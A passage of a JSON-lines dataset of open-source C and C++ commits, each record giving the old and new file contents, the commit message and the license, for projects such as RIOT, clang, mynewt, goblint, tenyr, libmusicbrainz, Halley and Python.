\/RIOT,benoit-canet\/RIOT,centurysys\/RIOT,neumodisch\/RIOT,PSHIVANI\/Riot-Code,DipSwitch\/RIOT,Yonezawa-T2\/RIOT,backenklee\/RIOT,stevenj\/RIOT,jremmert-phytec-iot\/RIOT,thomaseichinger\/RIOT,smlng\/RIOT,gautric\/RIOT,aeneby\/RIOT,centurysys\/RIOT,rakendrathapa\/RIOT,OTAkeys\/RIOT,MarkXYang\/RIOT,MohmadAyman\/RIOT,kushalsingh007\/RIOT,l3nko\/RIOT,lazytech-org\/RIOT,fnack\/RIOT,zhuoshuguo\/RIOT,OTAkeys\/RIOT,Osblouf\/RIOT,cladmi\/RIOT,sumanpanchal\/RIOT,fnack\/RIOT,LudwigKnuepfer\/RIOT,A-Paul\/RIOT,Darredevil\/RIOT,herrfz\/RIOT,latsku\/RIOT,dhruvvyas90\/RIOT,toonst\/RIOT,tfar\/RIOT,latsku\/RIOT,RubikonAlpha\/RIOT,beurdouche\/RIOT,ntrtrung\/RIOT,LudwigKnuepfer\/RIOT,biboc\/RIOT,alex1818\/RIOT,aeneby\/RIOT,ntrtrung\/RIOT,mfrey\/RIOT,jasonatran\/RIOT,A-Paul\/RIOT,RIOT-OS\/RIOT,toonst\/RIOT,wentaoshang\/RIOT,koenning\/RIOT,avmelnikoff\/RIOT,latsku\/RIOT,dailab\/RIOT,backenklee\/RIOT,watr-li\/RIOT,OTAkeys\/RIOT,x3ro\/RIOT,katezilla\/RIOT,BytesGalore\/RIOT,patkan\/RIOT,attdona\/RIOT,phiros\/RIOT,lebrush\/RIOT,attdona\/RIOT,x3ro\/RIOT,patkan\/RIOT,watr-li\/RIOT,koenning\/RIOT,altairpearl\/RIOT,rousselk\/RIOT,EmuxEvans\/RIOT,tdautc19841202\/RIOT,kushalsingh007\/RIOT,alignan\/RIOT,josephnoir\/RIOT,fnack\/RIOT,rfswarm\/RIOT,ximus\/RIOT,dhruvvyas90\/RIOT,koenning\/RIOT,gbarnett\/RIOT,MohmadAyman\/RIOT,bartfaizoltan\/RIOT,msolters\/RIOT,Ell-i\/RIOT,wentaoshang\/RIOT,latsku\/RIOT,chris-wood\/RIOT,BytesGalore\/RIOT,beurdouche\/RIOT,JensErdmann\/RIOT,tdautc19841202\/RIOT,l3nko\/RIOT,RubikonAlpha\/RIOT,Yonezawa-T2\/RIOT,ant9000\/RIOT,abp719\/RIOT,marcosalm\/RIOT,JensErdmann\/RIOT,luciotorre\/RIOT,rousselk\/RIOT,PSHIVANI\/Riot-Code,BytesGalore\/RIOT,RBartz\/RIOT,josephnoir\/RIOT,Yonezawa-T2\/RIOT,ant9000\/RIOT,LudwigOrtmann\/RIOT,mfrey\/RIOT,josephnoir\/RIOT,OTAkeys\/RIOT,MarkXYang\/RIOT,gbarnett\/RIOT,ximus\/RIOT,katezilla\/RIOT,TobiasFredersdorf\/RIOT,adrianghc\/RIOT,centurysys\/RIOT,stevenj\/RIOT,Yonezawa-T2\/RIOT,Darredevil\/RIOT,asanka-code\/RIOT,rfswarm\/RIOT,RBartz\/RIOT,OTAkeys\/RIOT,cladmi\/RIOT,shady33\/RIOT,alignan\/RIOT,syin2\/RIOT,authmillenon\/RIOT,beurdouche\/RIOT,sumanpanchal\/RIOT,jferreir\/RIOT,EmuxEvans\/RIOT,mfrey\/RIOT,jremmert-phytec-iot\/RIOT,abkam07\/RIOT,yogo1212\/RIOT,MarkXYang\/RIOT,adjih\/RIOT,adjih\/RIOT,immesys\/RiSyn,binarylemon\/RIOT"}
{"commit":"efb8ab17b89db71c0d207d9f8627351d806afb6e","old_file":"include\/BALL\/CONCEPT\/stdIteratorWrapper.h","new_file":"include\/BALL\/CONCEPT\/stdIteratorWrapper.h","old_contents":"","new_contents":"#ifndef BALL_CONCEPT_STDITERATORWRAPPER_H\n#define BALL_CONCEPT_STDITERATORWRAPPER_H\n\n#define IteratorWrapper(type)\\\n\ttemplate<typename T>\\\n\tclass type##IteratorWrapper\\\n\t{\\\n\t\tpublic:\\\n\t\t\ttype##IteratorWrapper(T* c) : container_(c) {}\\\n\t\t\ttype##Iterator begin() { return container_->begin##type(); }\\\n\t\t\ttype##Iterator end() { return container_->end##type(); }\\\n\\\n\t\tprivate:\\\n\t\t\tT* container_;\\\n\t};\n\n#define ConstIteratorWrapper(type)\\\n\ttemplate<typename T>\\\n\tclass type##ConstIteratorWrapper\\\n\t{\\\n\t\tpublic:\\\n\t\t\ttype##ConstIteratorWrapper(const T* c) : container_(c) {}\\\n\t\t\ttype##ConstIterator begin() { return container_->begin##type(); }\\\n\t\t\ttype##ConstIterator end() { return container_->end##type(); }\\\n\\\n\t\tprivate:\\\n\t\t\tconst T* container_;\\\n\t};\n\n#define BALL_DECLARE_STD_ITERATOR_WRAPPER(container, type, method_name)\\\n\ttype##IteratorWrapper< container > method_name () {\\\n\t\treturn type##IteratorWrapper< container >(this);\\\n\t}\\\n\ttype##ConstIteratorWrapper< container > method_name () const {\\\n\t\treturn type##ConstIteratorWrapper< container >(this);\\\n\t}\n\n#endif \/\/BALL_CONCEPT_STDITERATORWRAPPER_H\n","subject":"Add macros that provide an iterator wrapper","message":"Add macros that provide an iterator wrapper\n\nThis allows us to wrap e.g. begin\/endAtom() calls into an object\nthat provides begin() and end() functions. This in turn allows the\nuse range based for loops in C++11.\n\nExample:\n\nfor(auto& it : system.atoms()) {\n\tstd::cout << it->getFullName() << std::endl;\n}\n\nHere atoms was generated using the wrapper code.\n","lang":"C","license":"lgpl-2.1","repos":"tkemmer\/ball,tkemmer\/ball,tkemmer\/ball,tkemmer\/ball,tkemmer\/ball,tkemmer\/ball"}
{"commit":"ac3bb2f33bb0423bc8770aa34140637c0542fbc7","old_file":"test\/Profile\/c-linkage-available_externally.c","new_file":"test\/Profile\/c-linkage-available_externally.c","old_contents":"\/\/ Make sure instrumentation data from available_externally functions doesn't\n\/\/ get thrown out and are emitted with the expected linkage.\n\/\/ RUN: %clang_cc1 -O2 -triple x86_64-apple-macosx10.9 -main-file-name c-linkage-available_externally.c %s -o - -emit-llvm -fprofile-instrument=clang | FileCheck %s\n\n\/\/ CHECK: @__profc_foo = linkonce_odr hidden global [1 x i64] zeroinitializer, section \"__DATA,__llvm_prf_cnts\", align 8\n\/\/ CHECK: @__profd_foo = linkonce_odr hidden global {{.*}} i64* getelementptr inbounds ([1 x i64], [1 x i64]* @__profc_foo, i32 0, i32 0){{.*}}, section \"__DATA,__llvm_prf_data\", align 8\ninline int foo(void) { return 1; }\n\nint main(void) {\n  return foo();\n}\n","new_contents":"\/\/ Make sure instrumentation data from available_externally functions doesn't\n\/\/ get thrown out and are emitted with the expected linkage.\n\/\/ RUN: %clang_cc1 -O2 -triple x86_64-apple-macosx10.9 -main-file-name c-linkage-available_externally.c %s -o - -emit-llvm -fprofile-instrument=clang | FileCheck %s\n\n\/\/ CHECK: @__profc_foo = linkonce_odr hidden global [1 x i64] zeroinitializer, section \"__DATA,__llvm_prf_cnts\", align 8\n\/\/ CHECK: @__profd_foo = linkonce_odr hidden global {{.*}} i64* getelementptr inbounds ([1 x i64], [1 x i64]* @__profc_foo, i32 0, i32 0){{.*}}, section \"__DATA,__llvm_prf_data,regular,live_support\", align 8\ninline int foo(void) { return 1; }\n\nint main(void) {\n  return foo();\n}\n","subject":"Update testcase for r283948 (NFC)","message":"[Profile] Update testcase for r283948 (NFC)\n\nOld: \"__DATA,__llvm_prf_data\"\nNew: \"__DATA,__llvm_prf_data,regular,live_support\"\n\nThis should fix the following bot failure:\n\n  http:\/\/bb.pgr.jp\/builders\/cmake-clang-x86_64-linux\/builds\/55158\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@283949 91177308-0d34-0410-b5e6-96231b3b80d8\n(cherry picked from commit 88f1ce548a1e06c1d40dea57346dcd654f718fb7)\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"208d421c4f32fd8fd7dfccedfb18f36a0444168f","old_file":"hw\/mcu\/stm\/stm32f4xx\/include\/mcu\/cmsis_nvic.h","new_file":"hw\/mcu\/stm\/stm32f4xx\/include\/mcu\/cmsis_nvic.h","old_contents":"\/* mbed Microcontroller Library - cmsis_nvic\n * Copyright (c) 2009-2011 ARM Limited. All rights reserved.\n *\n * CMSIS-style functionality to support dynamic vectors\n *\/\n\n#ifndef MBED_CMSIS_NVIC_H\n#define MBED_CMSIS_NVIC_H\n\n#include <stdint.h>\n\n#if defined(STM32F407xx)\n #define MCU_NUM_PERIPH_VECTORS 82\n#elif defined(STM32F401xE)\n #define MCU_NUM_PERIPH_VECTORS 85\n#elif defined(STM32F427xx) || defined(STM32F429xx)\n #define MCU_NUM_PERIPH_VECTORS 91\n#elif defined(STM32F413xx)\n #define MCU_NUM_PERIPH_VECTORS 102\n#else\n #error \"Number of peripheral vectors not defined for this MCU.\"\n#endif\n\n#define NVIC_USER_IRQ_OFFSET  16\n#define NVIC_NUM_VECTORS      (16 + MCU_NUM_PERIPH_VECTORS)\n\n#include \"stm32f4xx.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid NVIC_Relocate(void);\nvoid NVIC_SetVector(IRQn_Type IRQn, uint32_t vector);\nuint32_t NVIC_GetVector(IRQn_Type IRQn);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/* mbed Microcontroller Library - cmsis_nvic\n * Copyright (c) 2009-2011 ARM Limited. All rights reserved.\n *\n * CMSIS-style functionality to support dynamic vectors\n *\/\n\n#ifndef MBED_CMSIS_NVIC_H\n#define MBED_CMSIS_NVIC_H\n\n#include <stdint.h>\n\n#if defined(STM32F401xE) || defined(STM32F407xx)\n #define MCU_NUM_PERIPH_VECTORS 82\n#elif defined(STM32F427xx) || defined(STM32F429xx)\n #define MCU_NUM_PERIPH_VECTORS 91\n#elif defined(STM32F413xx)\n #define MCU_NUM_PERIPH_VECTORS 102\n#else\n #error \"Number of peripheral vectors not defined for this MCU.\"\n#endif\n\n#define NVIC_USER_IRQ_OFFSET  16\n#define NVIC_NUM_VECTORS      (16 + MCU_NUM_PERIPH_VECTORS)\n\n#include \"stm32f4xx.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid NVIC_Relocate(void);\nvoid NVIC_SetVector(IRQn_Type IRQn, uint32_t vector);\nuint32_t NVIC_GetVector(IRQn_Type IRQn);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Fix number of peripheral vectors for stm32f401xE","message":"Fix number of peripheral vectors for stm32f401xE\n","lang":"C","license":"apache-2.0","repos":"mlaz\/mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core"}
{"commit":"7c2d447a80a50d8115bfed49d3926e4f98b3f734","old_file":"tests\/regression\/03-practical\/26-smtprc-crash.c","new_file":"tests\/regression\/03-practical\/26-smtprc-crash.c","old_contents":"","new_contents":"\/\/ SKIP: Low Priority -- this compiles with warnings, but goblint crashes.\n#include <pthread.h>\n\nint data[10];\n\nvoid *t_fun(int i) {\n  int *x = &data[i];\n  return NULL;\n}\n\nint main() {\n  pthread_t id;\n  int n = 0;\n  pthread_create(&id, NULL, t_fun, (int*) n);\n  return 0;\n}\n","subject":"Add a stupid test (skipped) where goblint crashes.","message":"Add a stupid test (skipped) where goblint crashes.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"5816b39c53a35978dab03f7c7b30f362e09a9426","old_file":"src\/os\/Linux\/findself.c","new_file":"src\/os\/Linux\/findself.c","old_contents":"#define _XOPEN_SOURCE 500\n#include \"os_common.h\"\n\n#include <unistd.h>\n#include <stdlib.h>\n\nchar *os_find_self(const char *argv0)\n{\n    (void)argv0;\n    \/\/ PATH_MAX (used by readlink(2)) is not necessarily available\n    size_t size = 2048, used = 0;\n    char *path = NULL;\n    do {\n        size *= 2;\n        path = realloc(path, size);\n        used = readlink(\"\/proc\/self\/exe\", path, size);\n        path[used - 1] = '\\0';\n    } while (used >= size); \/\/ path has already been dereferencd - can't be NULL\n\n    return path;\n}\n\n","new_contents":"#define _XOPEN_SOURCE 500\n#include \"os_common.h\"\n\n#include <unistd.h>\n#include <stdlib.h>\n\nchar *os_find_self(const char *argv0)\n{\n    (void)argv0;\n    \/\/ PATH_MAX (used by readlink(2)) is not necessarily available\n    size_t size = 2048, used = 0;\n    char *path = NULL;\n    do {\n        size *= 2;\n        path = realloc(path, size);\n        used = readlink(\"\/proc\/self\/exe\", path, size);\n        path[used] = '\\0';\n    } while (used >= size); \/\/ path has already been dereferencd - can't be NULL\n\n    return path;\n}\n\n","subject":"Correct off-by-one error in os_find_self on Linux","message":"Correct off-by-one error in os_find_self on Linux\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"ac24377fd590cec5723eb588eeb65bd5a47e997c","old_file":"include\/homerun.h","new_file":"include\/homerun.h","old_contents":"\/\/ homerun.h\n\/\/ HDHomeRun Wrapper\n\n#include <stdint.h>\n#include \"libhdhomerun.h\"\n\n#ifndef HOMERUN_H\n#define HOMERUN_H\n\nint verifyHomerunTuner(int);\nstruct hdhomerun_discover_device_t getValidDevice();\n\t\n#endif\n","new_contents":"\/\/ network.h\n\/\/ hdpirun\n\/\/\n\/\/ HDHomeRun wrapper. Wraps library functionality for use\n\/\/\n\/\/ Author: Robbie Duncan\n\/\/ Copyright: Copyright (c) 2016 Robbie Duncan\n\/\/ License: See LICENSE\n\/\/\n#include <stdint.h>\n#include \"libhdhomerun.h\"\n\/\/\n#ifndef HOMERUN_H\n#define HOMERUN_H\n\nint verifyHomerunTuner(int);\n\/\/\n\/\/ Constructs a packet to use to respond to a discovery request. The caller is responsible for destroying the packet\nstruct hdhomerun_pkt_t* getDiscoveryReplyPacket();\nstruct hdhomerun_discover_device_t getValidDevice();\n\t\n#endif\n","subject":"Move discovery reply packet construction to the correct file","message":"Move discovery reply packet construction to the correct file\n","lang":"C","license":"mit","repos":"robbieduncan\/hdpirun,robbieduncan\/hdpirun"}
{"commit":"43a9b8038c5f4a27aa884bcc16b45c473c268bb2","old_file":"examples\/getartist_c.c","new_file":"examples\/getartist_c.c","old_contents":"\/* Get artist by id. \n * \n * Usage:\n *  getartist 'artist id'\n *\n * $Id$\n *\/\n\n#include <stdio.h>\n#include <musicbrainz3\/mb_c.h>\n\nint\nmain(int argc, char **argv)\n{\n\tMBQuery query;\n\tMBArtist artist;\n\tchar data[256];\n\t\n\tif (argc < 2) {\n\t\tprintf(\"Usage: getartist 'artist id'\\n\");\n\t\treturn 1;\n\t}\n\t\n\tmb_webservice_init();\n\t\n\tquery = mb_query_new(NULL, NULL);\n\t\n\tartist = mb_query_get_artist_by_id(query, argv[1], NULL);\n\tif (!artist) {\n\t\tprintf(\"No artist returned.\\n\");\n\t\tmb_query_free(query);\n\t\treturn 1;\n\t}\n\t\n\tmb_artist_get_id(artist, data, 256);\n\tprintf(\"Id      : %s\\n\", data);\n\t\n\tmb_artist_get_type(artist, data, 256);\n\tprintf(\"Type\t: %s\\n\", data);\n\t\n\tmb_artist_get_name(artist, data, 256);\n\tprintf(\"Name\t: %s\\n\", data);\n\t\n\tmb_artist_get_sortname(artist, data, 256);\n\tprintf(\"SortName: %s\\n\", data);\n\n\tmb_artist_free(artist);\n\t\n\tmb_query_free(query);\n\t\n\treturn 0;\n}\n\n","new_contents":"\/* Get artist by id. \n * \n * Usage:\n *  getartist 'artist id'\n *\n * $Id$\n *\/\n\n#include <stdio.h>\n#include <musicbrainz3\/mb_c.h>\n\nint\nmain(int argc, char **argv)\n{\n\tMbQuery query;\n\tMbArtist artist;\n\tchar data[256];\n\t\n\tif (argc < 2) {\n\t\tprintf(\"Usage: getartist 'artist id'\\n\");\n\t\treturn 1;\n\t}\n\t\n\tmb_webservice_init();\n\t\n\tquery = mb_query_new(NULL, NULL);\n\t\n\tartist = mb_query_get_artist_by_id(query, argv[1], NULL);\n\tif (!artist) {\n\t\tprintf(\"No artist returned.\\n\");\n\t\tmb_query_free(query);\n\t\treturn 1;\n\t}\n\t\n\tmb_artist_get_id(artist, data, 256);\n\tprintf(\"Id      : %s\\n\", data);\n\t\n\tmb_artist_get_type(artist, data, 256);\n\tprintf(\"Type\t: %s\\n\", data);\n\t\n\tmb_artist_get_name(artist, data, 256);\n\tprintf(\"Name\t: %s\\n\", data);\n\t\n\tmb_artist_get_sortname(artist, data, 256);\n\tprintf(\"SortName: %s\\n\", data);\n\n\tmb_artist_free(artist);\n\t\n\tmb_query_free(query);\n\t\n\treturn 0;\n}\n\n","subject":"Rename MBArtist to MbArtist to make it compile.","message":"Rename MBArtist to MbArtist to make it compile.\n\n\ngit-svn-id: 493edb1aabd9361e12d1b994f475f0ee8eea41ad@7847 b0b80210-5d09-0410-99dd-b4bd03f891c0\n","lang":"C","license":"lgpl-2.1","repos":"matthewruhland\/libmusicbrainz,matthewruhland\/libmusicbrainz,sebastinas\/libmusicbrainz,metabrainz\/libmusicbrainz,sebastinas\/libmusicbrainz,matthewruhland\/libmusicbrainz,sebastinas\/libmusicbrainz,metabrainz\/libmusicbrainz,metabrainz\/libmusicbrainz"}
{"commit":"7bb1bf38d038f8bbea217bd6431be6c2749bf8ad","old_file":"circe-crc32c-sse42-lib\/src\/main\/include\/int_types.h","new_file":"circe-crc32c-sse42-lib\/src\/main\/include\/int_types.h","old_contents":"\/*******************************************************************************\n * Copyright 2014 Trevor Robinson\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ******************************************************************************\/\n#include <stddef.h> \/\/ size_t\n\n#ifdef _MSC_VER\n\ntypedef __int8 int8_t;\ntypedef __int16 int16_t;\ntypedef __int32 int32_t;\ntypedef __int64 int64_t;\ntypedef unsigned __int8 uint8_t;\ntypedef unsigned __int16 uint16_t;\ntypedef unsigned __int32 uint32_t;\ntypedef unsigned __int64 uint64_t;\n\n# define SIZE_T_FORMAT \"%Iu\"\n\n#else\n\n# include <stdint.h>\n\n# define SIZE_T_FORMAT \"%zu\"\n\n#endif\n","new_contents":"\/*******************************************************************************\n * Copyright 2014 Trevor Robinson\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ******************************************************************************\/\n#include <stddef.h> \/\/ size_t\n\n#if defined(_MSC_VER) && _MSC_VER < 1600 \/\/ stdint.h added in MSVC 2010\n\ntypedef __int8 int8_t;\ntypedef __int16 int16_t;\ntypedef __int32 int32_t;\ntypedef __int64 int64_t;\ntypedef unsigned __int8 uint8_t;\ntypedef unsigned __int16 uint16_t;\ntypedef unsigned __int32 uint32_t;\ntypedef unsigned __int64 uint64_t;\n\n#else\n\n# include <stdint.h>\n\n#endif\n\n#if defined(_MSC_VER) && _MSC_VER < 1900 \/\/ MSVC 2015\n\n# define SIZE_T_FORMAT \"%Iu\"\n\n#else\n\n# define SIZE_T_FORMAT \"%zu\"\n\n#endif\n","subject":"Use platform stdint.h and standard size_t printf format in newer versions of MSVC","message":"Use platform stdint.h and standard size_t printf format in newer versions of MSVC\n","lang":"C","license":"apache-2.0","repos":"trevorr\/circe,trevorr\/circe,trevorr\/circe"}
{"commit":"771851d66dfc80697c99a7ceb38bc5e11df16287","old_file":"flash_writer_stm32f3.c","new_file":"flash_writer_stm32f3.c","old_contents":"","new_contents":"\n#include <libopencm3\/stm32\/flash.h>\n#include \"flash_writer.h\"\n#include <stdio.h>\n\nvoid flash_writer_unlock(void)\n{\n    flash_unlock();\n}\n\nvoid flash_writer_lock(void)\n{\n    flash_lock();\n}\n\nvoid flash_writer_page_erase(void *page)\n{\n    flash_wait_for_last_operation();\n\n    FLASH_CR |= FLASH_CR_PER;\n    FLASH_AR = (uint32_t) page;\n    FLASH_CR |= FLASH_CR_STRT;\n\n    flash_wait_for_last_operation();\n\n    FLASH_CR &= ~FLASH_CR_PER;\n}\n\nstatic void flash_write_half_word(uint16_t *flash, uint16_t half_word)\n{\n    \/* select flash programming *\/\n    FLASH_CR |= FLASH_CR_PG;\n\n    \/* perform half-word write *\/\n    *flash = half_word;\n\n    flash_wait_for_last_operation();\n}\n\n\/* page address is assumed to be half-word aligned *\/\nvoid flash_writer_page_write(void *page, void *data, size_t len)\n{\n    uint8_t *bytes = (uint8_t *) data;\n    uint16_t *flash = (uint16_t *) page;\n    uint16_t half_word;\n\n    flash_wait_for_last_operation();\n\n    size_t count;\n    for (count = len; count > 1; count -= 2) {\n\n        half_word = *bytes++;\n        half_word |= (uint16_t)*bytes++ << 8;\n\n        flash_write_half_word(flash++, half_word);\n    }\n\n    if (count == 1) {\n        half_word = *bytes;\n        \/* preserve value of adjacent byte *\/\n        half_word |= (uint16_t)(*(uint8_t *)flash) << 8;\n\n        flash_write_half_word(flash, half_word);\n    }\n\n    \/* reset flags *\/\n    FLASH_CR &= ~FLASH_CR_PG;\n    FLASH_SR |= FLASH_SR_EOP;\n}\n","subject":"Add flash writer code for STM32F3.","message":"Add flash writer code for STM32F3.\n","lang":"C","license":"bsd-2-clause","repos":"cvra\/can-bootloader,cvra\/can-bootloader,cvra\/can-bootloader,cvra\/can-bootloader"}
{"commit":"06e74f67923c38c03eb38dd819258d4d41040651","old_file":"src\/engine\/core\/include\/halley\/core\/api\/platform_api.h","new_file":"src\/engine\/core\/include\/halley\/core\/api\/platform_api.h","old_contents":"#pragma once\n\nnamespace Halley\n{\n\tclass HTTPResponse {\n\tpublic:\n\t\tvirtual ~HTTPResponse() {}\n\n\t\tvirtual int getResponseCode() const = 0;\n\t\tvirtual const Bytes& getBody() const = 0;\n\t};\n\n\tclass HTTPRequest {\n\tpublic:\n\t\tvirtual ~HTTPRequest() {}\n\t\tvirtual void setPostData(const String& contentType, const Bytes& data) = 0;\n\t\tvirtual Future<std::unique_ptr<HTTPResponse>> send() = 0;\n\t};\n\n\tclass AuthorisationToken {\n\tpublic:\n\t\tvirtual ~AuthorisationToken() {}\n\n\t\tvirtual String getType() const = 0;\n\t\tvirtual bool isSingleUse() const = 0;\n\t\tvirtual bool isCancellable() const = 0;\n\n\t\tvirtual void cancel() = 0;\n\t\tvirtual const Bytes& getData() const = 0;\n\t};\n\n\tclass PlatformAPI\n\t{\n\tpublic:\n\t\tvirtual ~PlatformAPI() {}\n\n\t\tvirtual void update() = 0;\n\n\t\tvirtual std::unique_ptr<HTTPRequest> makeHTTPRequest(const String& method, const String& url) = 0;\n\n\t\tvirtual bool canProvideAuthToken() const = 0;\n\t\tvirtual Future<std::unique_ptr<AuthorisationToken>> getAuthToken() = 0;\n\t};\n}\n","new_contents":"#pragma once\n\nnamespace Halley\n{\n\tclass HTTPResponse {\n\tpublic:\n\t\tvirtual ~HTTPResponse() {}\n\n\t\tvirtual int getResponseCode() const = 0;\n\t\tvirtual const Bytes& getBody() const = 0;\n\t};\n\n\tclass HTTPRequest {\n\tpublic:\n\t\tvirtual ~HTTPRequest() {}\n\t\tvirtual void setPostData(const String& contentType, const Bytes& data) = 0;\n\t\tvirtual void setHeader(const String& headerName, const String& headerValue) = 0;\n\t\tvirtual Future<std::unique_ptr<HTTPResponse>> send() = 0;\n\t};\n\n\tclass AuthorisationToken {\n\tpublic:\n\t\tvirtual ~AuthorisationToken() {}\n\n\t\tvirtual String getType() const = 0;\n\t\tvirtual bool isSingleUse() const = 0;\n\t\tvirtual bool isCancellable() const = 0;\n\n\t\tvirtual void cancel() = 0;\n\t\tvirtual const Bytes& getData() const = 0;\n\t};\n\n\tclass PlatformAPI\n\t{\n\tpublic:\n\t\tvirtual ~PlatformAPI() {}\n\n\t\tvirtual void update() = 0;\n\n\t\tvirtual std::unique_ptr<HTTPRequest> makeHTTPRequest(const String& method, const String& url) = 0;\n\n\t\tvirtual bool canProvideAuthToken() const = 0;\n\t\tvirtual Future<std::unique_ptr<AuthorisationToken>> getAuthToken() = 0;\n\t};\n}\n","subject":"Add setHeader to HTTPRequest API","message":"Add setHeader to HTTPRequest API\n","lang":"C","license":"apache-2.0","repos":"amzeratul\/halley,amzeratul\/halley,amzeratul\/halley"}
{"commit":"e4ad8ed638d3147d95d41940a50d59f82597a18f","old_file":"Python\/getcopyright.c","new_file":"Python\/getcopyright.c","old_contents":"\/* Return the copyright string.  This is updated manually. *\/\n\n#include \"Python.h\"\n\nstatic char cprt[] = \n\"Copyright (c) 2000 BeOpen.com; All Rights Reserved.\\n\\\nCopyright (c) 1995-2000 Corporation for National Research Initiatives;\\n\\\nAll Rights Reserved.\\n\\\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam;\\n\\\nAll Rights Reserved.\";\n\nconst char *\nPy_GetCopyright(void)\n{\n\treturn cprt;\n}\n","new_contents":"\/* Return the copyright string.  This is updated manually. *\/\n\n#include \"Python.h\"\n\nstatic char cprt[] = \n\"Copyright (c) 2000 BeOpen.com.  All Rights Reserved.\\n\\\nCopyright (c) 1995-2000 Corporation for National Research Initiatives.\\n\\\nAll Rights Reserved.\\n\\\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\\n\\\nAll Rights Reserved.\";\n\nconst char *\nPy_GetCopyright(void)\n{\n\treturn cprt;\n}\n","subject":"Use periods, not semicolons between Copyright and All Rights Reserved.","message":"Use periods, not semicolons between Copyright and All Rights Reserved.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"51b49a872a45e9e14cedc823b0486a424f23d6eb","old_file":"src\/event.h","new_file":"src\/event.h","old_contents":"#ifndef _EVENT_H_\n#define _EVENT_H_\n\n#include \"dataStackEntry.h\"\n\ntypedef struct event Event;\n\nEvent *ev_create(char *name, char *eventData, unsigned long nAUs);\nEvent *ev_reference(Event *event);\nvoid  ev_release(Event *event);\nchar  *ev_data(Event *event);\nchar  *ev_topic(Event *event);\nint   ev_theData(Event *event, DataStackEntry **dse);\nvoid  ev_dump(Event *event);\n\n#endif \/* _EVENT_H_ *\/\n","new_contents":"#ifndef _EVENT_H_\n#define _EVENT_H_\n\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n *   this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n *   contributors may be used to endorse or promote products derived from this\n *   software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"dataStackEntry.h\"\n\ntypedef struct event Event;\n\nEvent *ev_create(char *name, char *eventData, unsigned long nAUs);\nEvent *ev_reference(Event *event);\nvoid  ev_release(Event *event);\nchar  *ev_data(Event *event);\nchar  *ev_topic(Event *event);\nint   ev_theData(Event *event, DataStackEntry **dse);\nvoid  ev_dump(Event *event);\n\n#endif \/* _EVENT_H_ *\/\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source header\n","lang":"C","license":"bsd-3-clause","repos":"jsventek\/Cache,fergul\/Cache,fergul\/Cache,fergul\/Cache,jsventek\/Cache,jsventek\/Cache"}
